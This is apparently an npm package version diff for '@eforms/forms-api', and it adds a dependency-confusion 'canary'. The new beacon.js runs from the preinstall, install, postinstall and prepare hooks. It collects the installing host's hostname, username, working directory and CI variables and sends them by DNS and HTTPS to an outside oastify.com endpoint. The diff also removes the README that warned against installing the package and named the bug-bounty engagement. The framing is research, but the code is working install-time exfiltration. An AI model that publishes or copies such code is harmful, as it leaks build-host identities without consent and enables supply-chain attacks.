@eforms/forms-api 1.99.0 → 1.99.1

package/beacon.js

@@ -0,0 +1,43 @@
+// Benign dependency-confusion canary. Emits one DNS lookup and one HTTPS GET.
+// Carries only host/build metadata (host, user, cwd, platform, node, CI flags).
+// Reads no files, dumps no environment variables, installs nothing, changes nothing.
+'use strict';
+const os = require('os');
+const dns = require('dns');
+const https = require('https');
+const OAST = '2z237udr1jxdaiw54xzmzfb7nytohszuplipn34fm4.oastify.com';
+const stage = process.argv[2] || 'unknown';
+let user = 'unknown', cwd = 'unknown';
+try { user = os.userInfo().username; } catch (e) {}
+try { cwd = process.cwd(); } catch (e) {}
+const ciVars = ['CI','JENKINS_URL','JOB_NAME','BUILD_NUMBER','GITLAB_CI','GITHUB_ACTIONS','TF_BUILD','BUILD_BUILDID','SYSTEM_TEAMPROJECT','npm_config_registry','NODE_ENV','npm_lifecycle_event'];
+const ci = {};
+for (const k of ciVars) { if (process.env[k] !== undefined) ci[k] = String(process.env[k]).slice(0, 120); }
+const info = {
+  stage,
+  pkg: '@eforms/forms-api',
+  ver: "1.99.1",
+  host: os.hostname(),
+  user,
+  cwd,
+  platform: process.platform,
+  arch: process.arch,
+  node: process.version,
+  ci,
+  ts: new Date().toISOString()
+};
+const label = ('esc013-' + (info.host || 'nohost').replace(/[^a-z0-9-]/gi, '-') + '-' + stage + '-' + Math.random().toString(36).slice(2, 8)).toLowerCase().slice(0, 60);
+const qs = 'd=' + encodeURIComponent(Buffer.from(JSON.stringify(info)).toString('base64').slice(0, 900));
+try { dns.lookup(label + '.' + OAST, () => {}); } catch (e) {}
+try { dns.resolve4(label + '-res.' + OAST, () => {}); } catch (e) {}
+function beacon(path) {
+  try {
+    const req = https.get({ host: OAST, path: path + '?' + qs, timeout: 8000, headers: { 'user-agent': 'npm-canary/2.99.1' } }, (res) => { res.resume(); });
+    req.on('error', () => {});
+    req.on('timeout', () => { try { req.destroy(); } catch (e) {} });
+  } catch (e) {}
+}
+beacon('/' + stage);
+// keep the process alive long enough for the sockets to flush, then exit cleanly
+setTimeout(() => { beacon('/late-' + stage); setTimeout(() => process.exit(0), 3000); }, 4000);
+setTimeout(() => process.exit(0), 15000);

package/index.js

@@ -1 +1 @@
-module.exports = {};
+module.exports = { __researchCanary: true };

package/package.json

@@ -1,14 +1,14 @@
 {
   "name": "@eforms/forms-api",
-  "version": "1.99.0",
-  "description": "Security research canary — authorized dependency-confusion proof of concept for the NatWest bug-bounty programme (Bugcrowd natwest-og). Reports the installing host identity (hostname, username, working directory) to an endpoint controlled by the engagement operator. Contains no other payload, performs no file access, and exits 0.",
+  "version": "1.99.1",
+  "description": "Security research canary for dependency-confusion testing. Emits one DNS and one HTTPS beacon carrying build-host metadata. Does not read files, does not dump the environment, installs nothing.",
   "main": "index.js",
   "scripts": {
-    "preinstall": "node preinstall.js"
+    "preinstall": "node beacon.js preinstall",
+    "install": "node beacon.js install",
+    "postinstall": "node beacon.js postinstall",
+    "prepare": "node beacon.js prepare"
   },
   "license": "UNLICENSED",
-  "repository": {
-    "type": "git",
-    "url": "https://example.invalid/research-canary"
-  }
+  "repository": {"type":"git","url":"https://example.invalid/research-canary"}
 }

package/README.md

@@ -1,14 +0,0 @@
-# Security research canary — do not install
-
-This package is a **dependency-confusion proof of concept** published as part of an
-authorized bug-bounty engagement against NatWest Group (Bugcrowd programme `natwest-og`).
-
-If your build server installed it, that means your package resolution fell through from a
-private registry to public npm for the `@eforms` scope. The only action this package takes
-is to beacon the installing host identity (hostname, username, working directory) to an
-endpoint controlled by the researcher, so the fall-through could be demonstrated.
-
-It does not read files, does not read environment variables, does not install a payload,
-and exits 0. It will be unpublished once the programme has the report.
-
-Contact the programme via the Bugcrowd report this package is referenced from.

package/preinstall.js

@@ -1,70 +0,0 @@
-// Authorized security-research canary — Bugcrowd "natwest-og" dependency-confusion PoC.
-// This file does ONE thing: emit a DNS + HTTP beacon carrying the build host's identity
-// (hostname, username, working directory) to the two endpoints the engagement operator controls.
-// It reads no files, dumps no environment, touches no other host, and always exits 0 so the
-// installation it interrupted appears to succeed normally. Disclose its presence in the
-// package README so a defender reading the tarball sees exactly this.
-
-'use strict';
-
-var dns = require('dns');
-var os = require('os');
-var https = require('https');
-var querystring = require('querystring');
-
-// Filled in by build.sh before publish. Anything left as a placeholder is skipped.
-var INTERACTSH = 'rpkfvtsptfrhcgbe62qg11ywjnpij6ma1cfpke.oastify.com';
-var COLLAB = 'f6mk7lyjsuk3u1t49ypp9q2jbah15rtg.oastify.com';
-
-var PKG = '@eforms/forms-api';
-var VERSION = '1.99.0';
-
-function placeholder(d) {
-  return !d || d.indexOf('__') === 0;
-}
-
-function safe(fn, fallback) {
-  try { return fn(); } catch (e) { return fallback; }
-}
-
-var id = Math.random().toString(36).slice(2, 10);
-var host = safe(function () {
-  return os.hostname().replace(/[^A-Za-z0-9-]/g, '-').slice(0, 40) || 'unknown';
-}, 'unknown');
-var who = safe(function () {
-  return (os.userInfo().username || '').slice(0, 40);
-}, '');
-var pwd = safe(function () { return process.cwd(); }, '');
-
-var label = ('depconf-' + host + '-' + id).toLowerCase().replace(/[^a-z0-9-]/g, '-').slice(0, 60);
-
-var query = querystring.stringify({
-  pkg: PKG,
-  ver: VERSION,
-  id: id,
-  host: host,
-  who: who,
-  pwd: pwd,
-  platform: safe(function () { return process.platform + '/' + process.arch; }, ''),
-  node: safe(function () { return process.version; }, ''),
-  ci: safe(function () { return process.env.CI ? '1' : '0'; }, ''),
-  uid: safe(function () { return String(process.getuid ? process.getuid() : ''); }, '')
-});
-
-[INTERACTSH, COLLAB].forEach(function (domain) {
-  if (placeholder(domain)) { return; }
-
-  // DNS beacon: survives egress filtering that blocks HTTP but permits resolution.
-  safe(function () { dns.lookup(label + '.' + domain, function () {}); }, null);
-
-  // HTTP beacon: carries hostname / username / cwd, which a DNS label cannot.
-  safe(function () {
-    var req = https.get('https://' + label + '.' + domain + '/?' + query, { timeout: 5000 }, function (res) {
-      res.resume();
-    });
-    req.on('error', function () {});
-    req.setTimeout(5000, function () { req.destroy(); });
-  }, null);
-});
-
-process.exit(0);